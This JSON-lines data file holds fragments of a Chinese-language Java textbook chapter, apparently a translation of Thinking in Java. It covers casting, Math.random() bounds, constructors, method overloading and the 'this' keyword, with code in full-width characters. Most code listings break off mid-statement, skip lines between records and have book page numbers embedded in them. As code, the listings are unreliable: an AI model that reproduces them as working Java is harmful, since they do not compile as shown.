    {"text": "答案可从下面这个例子中得到： ／／： ＣａｓｔｉｎｇＮｕｍｂｅｒｓ．ｊａｖａ ／／ Ｗｈａｔ ｈａｐｐｅｎｓ ｗｈｅｎ ｙｏｕ ｃａｓｔ ａ ｆｌｏａｔ ｏｒ ｄｏｕｂｌｅ ／／ ｔｏ ａｎ ｉｎｔｅｇｒａｌ ｖａｌｕｅ？ ｐｕｂｌｉｃ ｃｌａｓｓ ＣａｓｔｉｎｇＮｕｍｂｅｒｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｄｏｕｂｌｅ ａｂｏｖｅ ＝ ０．７， ｂｅｌｏｗ ＝ ０．４； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａｂｏｖｅ： ＂ ＋ ａｂｏｖｅ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｂｅｌｏｗ： ＂ ＋ ｂｅｌｏｗ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂（ｉｎｔ）ａｂｏｖｅ： ＂ ＋ （ｉｎｔ）ａｂｏｖｅ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂（ｉｎｔ）ｂｅｌｏｗ： ＂ ＋ （ｉｎｔ）ｂｅｌｏｗ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂（ｃｈａｒ）（＇ａ＇ ＋ ａｂｏｖｅ）： ＂ ＋ （ｃｈａｒ）（＇ａ＇ ＋ ａｂｏｖｅ））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂（ｃｈａｒ）（＇ａ＇ ＋ ｂｅｌｏｗ）： ＂ ＋ （ｃｈａｒ）（＇ａ＇ ＋ ｂｅｌｏｗ））；"},
    {"text": "｝ ｝ ／／／：￣ 输出结果如下： ａｂｏｖｅ： ０．７ ｂｅｌｏｗ： ０．４ （ｉｎｔ）ａｂｏｖｅ： ０ （ｉｎｔ）ｂｅｌｏｗ： ０ （ｃｈａｒ）（＇ａ＇ ＋ ａｂｏｖｅ）： ａ （ｃｈａｒ）（＇ａ＇ ＋ ｂｅｌｏｗ）： ａ 所以答案就是：将一个 ｆｌｏａｔ 或 ｄｏｕｂｌｅ 值造型成整数值后，总是将小数部分“砍掉”，不作任何进位处理。"},
    {"text": "用正统的数学语言表 达，它到底是（０，１），［０，１］，（０，１］，还是［０，１）呢（方括号表示“包括”，圆括号表示“不包括”）？"},
    {"text": "同样 地，一个示范程序向我们揭示了答案： ／／： ＲａｎｄｏｍＢｏｕｎｄｓ．ｊａｖａ ／／ Ｄｏｅｓ Ｍａｔｈ．ｒａｎｄｏｍ（） ｐｒｏｄｕｃｅ ０．０ ａｎｄ １．０？"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＲａｎｄｏｍＢｏｕｎｄｓ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｕｓａｇｅ（） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂Ｕｓａｇｅ： ＼ｎ＼ｔ＂ ＋ ９３ ＂ＲａｎｄｏｍＢｏｕｎｄｓ ｌｏｗｅｒ＼ｎ＼ｔ＂ ＋ ＂ＲａｎｄｏｍＢｏｕｎｄｓ ｕｐｐｅｒ＂）；"},
    {"text": "Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ！ ＝ １） ｕｓａｇｅ（）； ｉｆ（ａｒｇｓ［０］．ｅｑｕａｌｓ（＂ｌｏｗｅｒ＂）） ｛ ｗｈｉｌｅ（Ｍａｔｈ．ｒａｎｄｏｍ（） ！ ＝ ０．０） ； ／／ Ｋｅｅｐ ｔｒｙｉｎｇ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｐｒｏｄｕｃｅｄ ０．０！"},
    {"text": "｝ ｝ ／／／：￣ 为运行这个程序，只需在命令行键入下述命令即可： ｊａｖａ ＲａｎｄｏｍＢｏｕｎｄｓ ｌｏｗｅｒ 或 ｊａｖａ ＲａｎｄｏｍＢｏｕｎｄｓ ｕｐｐｅｒ 在这两种情况下，我们都必须人工中断程序，所以会发现 Ｍａｔｈ．ｒａｎｄｏｍ（）“似乎”永远都不会产生 ０．０ 或 １．０。"},
    {"text": "许多 Ｃ 程序的错误都是由于程序员忘记初始化一个变量 造成的。 对于现成的库，若用户不知道如何初始化库的一个组件，就往往会出现这一类的错误。"},
    {"text": "在 Ｊａｖａ 中，由于提供了名 为“构建器”的一种特殊方法，所以类的设计者可担保每个对象都会得到正确的初始化。 若某个类有一个构 建器，那么在创建对象时，Ｊａｖａ 会自动调用那个构建器——甚至在用户毫不知觉的情况下。"},
    {"text": "／／： ＳｉｍｐｌｅＣｏｎｓｔｒｕｃｔｏｒ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ ａ ｓｉｍｐｌｅ ｃｏｎｓｔｒｕｃｔｏｒ ｐａｃｋａｇｅ ｃ０４； ｃｌａｓｓ Ｒｏｃｋ ｛ Ｒｏｃｋ（） ｛ ／／ Ｔｈｉｓ ｉｓ ｔｈｅ ｃｏｎｓｔｒｕｃｔｏｒ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｒｅａｔｉｎｇ Ｒｏｃｋ＂）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＳｉｍｐｌｅＣｏｎｓｔｒｕｃｔｏｒ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "和其他任何方法一样，构建器也能使用自变量，以便我们指定对象的具体创建方式。 可非常方便地改动上述 例子，以便构建器使用自己的自变量。"},
    {"text": "如下所示： ｃｌａｓｓ Ｒｏｃｋ ｛ Ｒｏｃｋ（ｉｎｔ ｉ） ｛ ９５ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃｒｅａｔｉｎｇ Ｒｏｃｋ ｎｕｍｂｅｒ ＂ ＋ ｉ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＳｉｍｐｌｅＣｏｎｓｔｒｕｃｔｏｒ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "举个例子来说，假设类 Ｔｒｅｅ 有一个构建 器，它用一个整数自变量标记树的高度，那么就可以象下面这样创建一个 Ｔｒｅｅ 对象： ｔｒｅｅ ｔ ＝ ｎｅｗ Ｔｒｅｅ（１２）； ／／ １２ 英尺高的树 若 Ｔｒｅｅ（ｉｎｔ）是我们唯一的构建器，那么编译器不会允许我们以其他任何方式创建一个 Ｔｒｅｅ 对象。"},
    {"text": "在下面这个例子里，我们向大家同时展示了过载构建器和过载的原始方法： ／／： Ｏｖｅｒｌｏａｄｉｎｇ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｉｏｎ ｏｆ ｂｏｔｈ ｃｏｎｓｔｒｕｃｔｏｒ ／／ ａｎｄ ｏｒｄｉｎａｒｙ ｍｅｔｈｏｄ ｏｖｅｒｌｏａｄｉｎｇ． ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｃｌａｓｓ Ｔｒｅｅ ｛ ９６ ｉｎｔ ｈｅｉｇｈｔ； Ｔｒｅｅ（） ｛ ｐｒｔ（＂Ｐｌａｎｔｉｎｇ ａ ｓｅｅｄｌｉｎｇ＂）； ｈｅｉｇｈｔ ＝ ０； ｝ Ｔｒｅｅ（ｉｎｔ ｉ） ｛ ｐｒｔ（＂Ｃｒｅａｔｉｎｇ ｎｅｗ Ｔｒｅｅ ｔｈａｔ ｉｓ ＂ ＋ ｉ ＋ ＂ ｆｅｅｔ ｔａｌｌ＂）； ｈｅｉｇｈｔ ＝ ｉ； ｝ ｖｏｉｄ ｉｎｆｏ（） ｛ ｐｒｔ（＂Ｔｒｅｅ ｉｓ ＂ ＋ ｈｅｉｇｈｔ ＋ ＂ ｆｅｅｔ ｔａｌｌ＂）； ｝ ｖｏｉｄ ｉｎｆｏ（Ｓｔｒｉｎｇ ｓ） ｛ ｐｒｔ（ｓ ＋ ＂： Ｔｒｅｅ ｉｓ ＂ ＋ ｈｅｉｇｈｔ ＋ ＂ ｆｅｅｔ ｔａｌｌ＂）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｏｖｅｒｌｏａｄｉｎｇ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ＋＋） ｛ Ｔｒｅｅ ｔ ＝ ｎｅｗ Ｔｒｅｅ（ｉ）； ｔ．ｉｎｆｏ（）； ｔ．ｉｎｆｏ（＂ｏｖｅｒｌｏａｄｅｄ ｍｅｔｈｏｄ＂）； ｝ ／／ Ｏｖｅｒｌｏａｄｅｄ ｃｏｎｓｔｒｕｃｔｏｒ： ｎｅｗ Ｔｒｅｅ（）；"},
    {"text": "为支持这种创建，共使用了 两个构建器，一个没有自变量（我们把没有自变量的构建器称作“默认构建器”，注释①），另一个采用现 成的高度。"},
    {"text": "①：在 Ｓｕｎ 公司出版的一些 Ｊａｖａ 资料中，用简陋但很说明问题的词语称呼这类构建器——“无参数构建器” （ｎｏ－ａｒｇ ｃｏｎｓｔｒｕｃｔｏｒｓ）。"},
    {"text": "即使自变量的顺序也足够我们区分两个方法（尽管我们通常不愿意采用这种方法，因为它会产生难以维护的 ９７ 代码）： ／／： ＯｖｅｒｌｏａｄｉｎｇＯｒｄｅｒ．ｊａｖａ ／／ Ｏｖｅｒｌｏａｄｉｎｇ ｂａｓｅｄ ｏｎ ｔｈｅ ｏｒｄｅｒ ｏｆ ／／ ｔｈｅ ａｒｇｕｍｅｎｔｓ． ｐｕｂｌｉｃ ｃｌａｓｓ ＯｖｅｒｌｏａｄｉｎｇＯｒｄｅｒ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔ（Ｓｔｒｉｎｇ ｓ， ｉｎｔ ｉ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｓｔｒｉｎｇ： ＂ ＋ ｓ ＋ ＂， ｉｎｔ： ＂ ＋ ｉ）；"},
    {"text": "｝ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔ（ｉｎｔ ｉ， Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｉｎｔ： ＂ ＋ ｉ ＋ ＂， Ｓｔｒｉｎｇ： ＂ ＋ ｓ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｐｒｉｎｔ（＂Ｓｔｒｉｎｇ ｆｉｒｓｔ＂， １１）； ｐｒｉｎｔ（９９， ＂Ｉｎｔ ｆｉｒｓｔ＂）；"},
    {"text": "下面这个例子揭示了将主类型传递给过载的方法时发生的情况： ／／： ＰｒｉｍｉｔｉｖｅＯｖｅｒｌｏａｄｉｎｇ．ｊａｖａ ／／ Ｐｒｏｍｏｔｉｏｎ ｏｆ ｐｒｉｍｉｔｉｖｅｓ ａｎｄ ｏｖｅｒｌｏａｄｉｎｇ ｐｕｂｌｉｃ ｃｌａｓｓ ＰｒｉｍｉｔｉｖｅＯｖｅｒｌｏａｄｉｎｇ ｛ ／／ ｂｏｏｌｅａｎ ｃａｎ＇ｔ ｂｅ ａｕｔｏｍａｔｉｃａｌｌｙ ｃｏｎｖｅｒｔｅｄ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）；"},
    {"text": "｝ ｖｏｉｄ ｆ１（ｃｈａｒ ｘ） ｛ ｐｒｔ（＂ｆ１（ｃｈａｒ）＂）； ｝ ｖｏｉｄ ｆ１（ｂｙｔｅ ｘ） ｛ ｐｒｔ（＂ｆ１（ｂｙｔｅ）＂）； ｝ ｖｏｉｄ ｆ１（ｓｈｏｒｔ ｘ） ｛ ｐｒｔ（＂ｆ１（ｓｈｏｒｔ）＂）； ｝ ｖｏｉｄ ｆ１（ｉｎｔ ｘ） ｛ ｐｒｔ（＂ｆ１（ｉｎｔ）＂）； ｝ ｖｏｉｄ ｆ１（ｌｏｎｇ ｘ） ｛ ｐｒｔ（＂ｆ１（ｌｏｎｇ）＂）； ｝ ｖｏｉｄ ｆ１（ｆｌｏａｔ ｘ） ｛ ｐｒｔ（＂ｆ１（ｆｌｏａｔ）＂）； ｝ ｖｏｉｄ ｆ１（ｄｏｕｂｌｅ ｘ） ｛ ｐｒｔ（＂ｆ１（ｄｏｕｂｌｅ）＂）； ｝ ｖｏｉｄ ｆ２（ｂｙｔｅ ｘ） ｛ ｐｒｔ（＂ｆ２（ｂｙｔｅ）＂）； ｝ ｖｏｉｄ ｆ２（ｓｈｏｒｔ ｘ） ｛ ｐｒｔ（＂ｆ２（ｓｈｏｒｔ）＂）； ｝ ｖｏｉｄ ｆ２（ｉｎｔ ｘ） ｛ ｐｒｔ（＂ｆ２（ｉｎｔ）＂）； ｝ ｖｏｉｄ ｆ２（ｌｏｎｇ ｘ） ｛ ｐｒｔ（＂ｆ２（ｌｏｎｇ）＂）； ｝ ｖｏｉｄ ｆ２（ｆｌｏａｔ ｘ） ｛ ｐｒｔ（＂ｆ２（ｆｌｏａｔ）＂）； ｝ ｖｏｉｄ ｆ２（ｄｏｕｂｌｅ ｘ） ｛ ｐｒｔ（＂ｆ２（ｄｏｕｂｌｅ）＂）； ｝ ９８ ｖｏｉｄ ｆ３（ｓｈｏｒｔ ｘ） ｛ ｐｒｔ（＂ｆ３（ｓｈｏｒｔ）＂）； ｝ ｖｏｉｄ ｆ３（ｉｎｔ ｘ） ｛ ｐｒｔ（＂ｆ３（ｉｎｔ）＂）； ｝ ｖｏｉｄ ｆ３（ｌｏｎｇ ｘ） ｛ ｐｒｔ（＂ｆ３（ｌｏｎｇ）＂）； ｝ ｖｏｉｄ ｆ３（ｆｌｏａｔ ｘ） ｛ ｐｒｔ（＂ｆ３（ｆｌｏａｔ）＂）； ｝ ｖｏｉｄ ｆ３（ｄｏｕｂｌｅ ｘ） ｛ ｐｒｔ（＂ｆ３（ｄｏｕｂｌｅ）＂）； ｝ ｖｏｉｄ ｆ４（ｉｎｔ ｘ） ｛ ｐｒｔ（＂ｆ４（ｉｎｔ）＂）； ｝ ｖｏｉｄ ｆ４（ｌｏｎｇ ｘ） ｛ ｐｒｔ（＂ｆ４（ｌｏｎｇ）＂）； ｝ ｖｏｉｄ ｆ４（ｆｌｏａｔ ｘ） ｛ ｐｒｔ（＂ｆ４（ｆｌｏａｔ）＂）； ｝ ｖｏｉｄ ｆ４（ｄｏｕｂｌｅ ｘ） ｛ ｐｒｔ（＂ｆ４（ｄｏｕｂｌｅ）＂）； ｝ ｖｏｉｄ ｆ５（ｌｏｎｇ ｘ） ｛ ｐｒｔ（＂ｆ５（ｌｏｎｇ）＂）； ｝ ｖｏｉｄ ｆ５（ｆｌｏａｔ ｘ） ｛ ｐｒｔ（＂ｆ５（ｆｌｏａｔ）＂）； ｝ ｖｏｉｄ ｆ５（ｄｏｕｂｌｅ ｘ） ｛ ｐｒｔ（＂ｆ５（ｄｏｕｂｌｅ）＂）； ｝ ｖｏｉｄ ｆ６（ｆｌｏａｔ ｘ） ｛ ｐｒｔ（＂ｆ６（ｆｌｏａｔ）＂）； ｝ ｖｏｉｄ ｆ６（ｄｏｕｂｌｅ ｘ） ｛ ｐｒｔ（＂ｆ６（ｄｏｕｂｌｅ）＂）； ｝ ｖｏｉｄ ｆ７（ｄｏｕｂｌｅ ｘ） ｛ ｐｒｔ（＂ｆ７（ｄｏｕｂｌｅ）＂）； ｝ ｖｏｉｄ ｔｅｓｔＣｏｎｓｔＶａｌ（） ｛ ｐｒｔ（＂Ｔｅｓｔｉｎｇ ｗｉｔｈ ５＂）； ｆ１（５）； ｆ２（５）； ｆ３（５）； ｆ４（５）； ｆ５（５）； ｆ６（５）； ｆ７（５）；"},
    {"text": "｝ ｖｏｉｄ ｔｅｓｔＣｈａｒ（） ｛ ｃｈａｒ ｘ ＝ ＇ｘ＇； ｐｒｔ（＂ｃｈａｒ ａｒｇｕｍｅｎｔ：＂）； ｆ１（ｘ）； ｆ２（ｘ）； ｆ３（ｘ）； ｆ４（ｘ）； ｆ５（ｘ）； ｆ６（ｘ）； ｆ７（ｘ）；"},
    {"text": "｝ ｖｏｉｄ ｔｅｓｔＦｌｏａｔ（） ｛ ｆｌｏａｔ ｘ ＝ ０； ９９ ｐｒｔ（＂ｆｌｏａｔ ａｒｇｕｍｅｎｔ：＂）； ｆ１（ｘ）； ｆ２（ｘ）； ｆ３（ｘ）； ｆ４（ｘ）； ｆ５（ｘ）； ｆ６（ｘ）； ｆ７（ｘ）；"},
    {"text": "｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＰｒｉｍｉｔｉｖｅＯｖｅｒｌｏａｄｉｎｇ ｐ ＝ ｎｅｗ ＰｒｉｍｉｔｉｖｅＯｖｅｒｌｏａｄｉｎｇ（）； ｐ．ｔｅｓｔＣｏｎｓｔＶａｌ（）； ｐ．ｔｅｓｔＣｈａｒ（）； ｐ．ｔｅｓｔＢｙｔｅ（）； ｐ．ｔｅｓｔＳｈｏｒｔ（）； ｐ．ｔｅｓｔＩｎｔ（）； ｐ．ｔｅｓｔＬｏｎｇ（）； ｐ．ｔｅｓｔＦｌｏａｔ（）； ｐ．ｔｅｓｔＤｏｕｂｌｅ（）；"},
    {"text": "对前述程序的一个修改揭示出 了答案： ／／： Ｄｅｍｏｔｉｏｎ．ｊａｖａ ／／ Ｄｅｍｏｔｉｏｎ ｏｆ ｐｒｉｍｉｔｉｖｅｓ ａｎｄ ｏｖｅｒｌｏａｄｉｎｇ ｐｕｂｌｉｃ ｃｌａｓｓ Ｄｅｍｏｔｉｏｎ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）； ｝ ｖｏｉｄ ｆ１（ｃｈａｒ ｘ） ｛ ｐｒｔ（＂ｆ１（ｃｈａｒ）＂）； ｝ ｖｏｉｄ ｆ１（ｂｙｔｅ ｘ） ｛ ｐｒｔ（＂ｆ１（ｂｙｔｅ）＂）； ｝ ｖｏｉｄ ｆ１（ｓｈｏｒｔ ｘ） ｛ ｐｒｔ（＂ｆ１（ｓｈｏｒｔ）＂）； ｝ ｖｏｉｄ ｆ１（ｉｎｔ ｘ） ｛ ｐｒｔ（＂ｆ１（ｉｎｔ）＂）； ｝ ｖｏｉｄ ｆ１（ｌｏｎｇ ｘ） ｛ ｐｒｔ（＂ｆ１（ｌｏｎｇ）＂）； ｝ ｖｏｉｄ ｆ１（ｆｌｏａｔ ｘ） ｛ ｐｒｔ（＂ｆ１（ｆｌｏａｔ）＂）； ｝ ｖｏｉｄ ｆ１（ｄｏｕｂｌｅ ｘ） ｛ ｐｒｔ（＂ｆ１（ｄｏｕｂｌｅ）＂）； ｝ ｖｏｉｄ ｆ２（ｃｈａｒ ｘ） ｛ ｐｒｔ（＂ｆ２（ｃｈａｒ）＂）； ｝ ｖｏｉｄ ｆ２（ｂｙｔｅ ｘ） ｛ ｐｒｔ（＂ｆ２（ｂｙｔｅ）＂）； ｝ ｖｏｉｄ ｆ２（ｓｈｏｒｔ ｘ） ｛ ｐｒｔ（＂ｆ２（ｓｈｏｒｔ）＂）； ｝ ｖｏｉｄ ｆ２（ｉｎｔ ｘ） ｛ ｐｒｔ（＂ｆ２（ｉｎｔ）＂）； ｝ ｖｏｉｄ ｆ２（ｌｏｎｇ ｘ） ｛ ｐｒｔ（＂ｆ２（ｌｏｎｇ）＂）； ｝ ｖｏｉｄ ｆ２（ｆｌｏａｔ ｘ） ｛ ｐｒｔ（＂ｆ２（ｆｌｏａｔ）＂）； ｝ １００ ｖｏｉｄ ｆ３（ｃｈａｒ ｘ） ｛ ｐｒｔ（＂ｆ３（ｃｈａｒ）＂）； ｝ ｖｏｉｄ ｆ３（ｂｙｔｅ ｘ） ｛ ｐｒｔ（＂ｆ３（ｂｙｔｅ）＂）； ｝ ｖｏｉｄ ｆ３（ｓｈｏｒｔ ｘ） ｛ ｐｒｔ（＂ｆ３（ｓｈｏｒｔ）＂）； ｝ ｖｏｉｄ ｆ３（ｉｎｔ ｘ） ｛ ｐｒｔ（＂ｆ３（ｉｎｔ）＂）； ｝ ｖｏｉｄ ｆ３（ｌｏｎｇ ｘ） ｛ ｐｒｔ（＂ｆ３（ｌｏｎｇ）＂）； ｝ ｖｏｉｄ ｆ４（ｃｈａｒ ｘ） ｛ ｐｒｔ（＂ｆ４（ｃｈａｒ）＂）； ｝ ｖｏｉｄ ｆ４（ｂｙｔｅ ｘ） ｛ ｐｒｔ（＂ｆ４（ｂｙｔｅ）＂）； ｝ ｖｏｉｄ ｆ４（ｓｈｏｒｔ ｘ） ｛ ｐｒｔ（＂ｆ４（ｓｈｏｒｔ）＂）； ｝ ｖｏｉｄ ｆ４（ｉｎｔ ｘ） ｛ ｐｒｔ（＂ｆ４（ｉｎｔ）＂）； ｝ ｖｏｉｄ ｆ５（ｃｈａｒ ｘ） ｛ ｐｒｔ（＂ｆ５（ｃｈａｒ）＂）； ｝ ｖｏｉｄ ｆ５（ｂｙｔｅ ｘ） ｛ ｐｒｔ（＂ｆ５（ｂｙｔｅ）＂）； ｝ ｖｏｉｄ ｆ５（ｓｈｏｒｔ ｘ） ｛ ｐｒｔ（＂ｆ５（ｓｈｏｒｔ）＂）； ｝ ｖｏｉｄ ｆ６（ｃｈａｒ ｘ） ｛ ｐｒｔ（＂ｆ６（ｃｈａｒ）＂）； ｝ ｖｏｉｄ ｆ６（ｂｙｔｅ ｘ） ｛ ｐｒｔ（＂ｆ６（ｂｙｔｅ）＂）； ｝ ｖｏｉｄ ｆ７（ｃｈａｒ ｘ） ｛ ｐｒｔ（＂ｆ７（ｃｈａｒ）＂）； ｝ ｖｏｉｄ ｔｅｓｔＤｏｕｂｌｅ（） ｛ ｄｏｕｂｌｅ ｘ ＝ ０； ｐｒｔ（＂ｄｏｕｂｌｅ ａｒｇｕｍｅｎｔ：＂）； ｆ１（ｘ）； ｆ２（（ｆｌｏａｔ）ｘ）； ｆ３（（ｌｏｎｇ）ｘ）； ｆ４（（ｉｎｔ）ｘ）； ｆ５（（ｓｈｏｒｔ）ｘ）； ｆ６（（ｂｙｔｅ）ｘ）； ｆ７（（ｃｈａｒ）ｘ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｄｅｍｏｔｉｏｎ ｐ ＝ ｎｅｗ Ｄｅｍｏｔｉｏｎ（）； ｐ．ｔｅｓｔＤｏｕｂｌｅ（）；"},
    {"text": "比如对下面这两个方法来说，虽然它们有同样的名字和自变量，但其实是很容易区分的： ｖｏｉｄ ｆ（） ｛｝ ｉｎｔ ｆ（） ｛｝ 若编译器可根据上下文（语境）明确判断出含义，比如在 ｉｎｔ ｘ＝ｆ（）中，那么这样做完全没有问题。"},
    {"text": "例如： ／／： ＤｅｆａｕｌｔＣｏｎｓｔｒｕｃｔｏｒ．ｊａｖａ ｃｌａｓｓ Ｂｉｒｄ ｛ ｉｎｔ ｉ； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＤｅｆａｕｌｔＣｏｎｓｔｒｕｃｔｏｒ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｂｉｒｄ ｎｃ ＝ ｎｅｗ Ｂｉｒｄ（）； ／／ ｄｅｆａｕｌｔ！ ｝ ｝ ／／／：￣ 对于下面这一行： ｎｅｗ Ｂｉｒｄ（）；"},
    {"text": "然而，如果已经定义了一个构建器（无论是否有自变量），编译程 序都不会帮我们自动合成一个： ｃｌａｓｓ Ｂｕｓｈ ｛ Ｂｕｓｈ（ｉｎｔ ｉ） ｛｝ Ｂｕｓｈ（ｄｏｕｂｌｅ ｄ） ｛｝ ｝ 现在，假若使用下述代码： ｎｅｗ Ｂｕｓｈ（）；"},
    {"text": "就好象我们没有设置任何构建器，编译程序会说：“你看 来似乎需要一个构建器，所以让我们给你制造一个吧。 ”但假如我们写了一个构建器，编译程序就会说： “啊，你已写了一个构建器，所以我知道你想干什么；"},
    {"text": "” ４ ． ２ ． ５ ｔ ｈ ｉ ｓ 关键字 如果有两个同类型的对象，分别叫作 ａ 和 ｂ，那么您也许不知道如何为这两个对象同时调用一个 ｆ（）方法： ｃｌａｓｓ Ｂａｎａｎａ ｛ ｖｏｉｄ ｆ（ｉｎｔ ｉ） ｛ ／＊ ．．． ＊／ ｝ ｝ Ｂａｎａｎａ ａ ＝ ｎｅｗ Ｂａｎａｎａ（）， ｂ ＝ ｎｅｗ Ｂａｎａｎａ（）；"},
    {"text": "所以我们能使用下面这样的代码： ｃｌａｓｓ Ａｐｒｉｃｏｔ ｛ ｖｏｉｄ ｐｉｃｋ（） ｛ ／＊ ．．． ＊／ ｝ ｖｏｉｄ ｐｉｔ（） ｛ ｐｉｃｋ（）；"},
    {"text": "／／： Ｌｅａｆ．ｊａｖａ ／／ Ｓｉｍｐｌｅ ｕｓｅ ｏｆ ｔｈｅ ＂ｔｈｉｓ＂ ｋｅｙｗｏｒｄ ｐｕｂｌｉｃ ｃｌａｓｓ Ｌｅａｆ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ ＝ ０； Ｌｅａｆ ｉｎｃｒｅｍｅｎｔ（） ｛ ｉ＋＋； ｒｅｔｕｒｎ ｔｈｉｓ； ｝ ｖｏｉｄ ｐｒｉｎｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｉ ＝ ＂ ＋ ｉ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｌｅａｆ ｘ ＝ ｎｅｗ Ｌｅａｆ（）； ｘ．ｉｎｃｒｅｍｅｎｔ（）．ｉｎｃｒｅｍｅｎｔ（）．ｉｎｃｒｅｍｅｎｔ（）．ｐｒｉｎｔ（）；"},
    {"text": "在一个构建器中，若为其赋予一个自变量列表，那么 ｔｈｉｓ 关键字会具有不同的含义：它会对与那个自变 量列表相符的构建器进行明确的调用。"},
    {"text": "如下所 示： ／／： Ｆｌｏｗｅｒ．ｊａｖａ ／／ Ｃａｌｌｉｎｇ ｃｏｎｓｔｒｕｃｔｏｒｓ ｗｉｔｈ ＂ｔｈｉｓ＂ ｐｕｂｌｉｃ ｃｌａｓｓ Ｆｌｏｗｅｒ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｐｅｔａｌＣｏｕｎｔ ＝ ０； ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｓ ＝ ｎｅｗ Ｓｔｒｉｎｇ（＂ｎｕｌｌ＂）； Ｆｌｏｗｅｒ（ｉｎｔ ｐｅｔａｌｓ） ｛ ｐｅｔａｌＣｏｕｎｔ ＝ ｐｅｔａｌｓ； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ １０３ ＂Ｃｏｎｓｔｒｕｃｔｏｒ ｗ／ ｉｎｔ ａｒｇ ｏｎｌｙ， ｐｅｔａｌＣｏｕｎｔ＝ ＂ ＋ ｐｅｔａｌＣｏｕｎｔ）； ｝ Ｆｌｏｗｅｒ（Ｓｔｒｉｎｇ ｓｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃｏｎｓｔｒｕｃｔｏｒ ｗ／ Ｓｔｒｉｎｇ ａｒｇ ｏｎｌｙ， ｓ＝＂ ＋ ｓｓ）； ｓ ＝ ｓｓ； ｝ Ｆｌｏｗｅｒ（Ｓｔｒｉｎｇ ｓ， ｉｎｔ ｐｅｔａｌｓ） ｛ ｔｈｉｓ（ｐｅｔａｌｓ）；"},
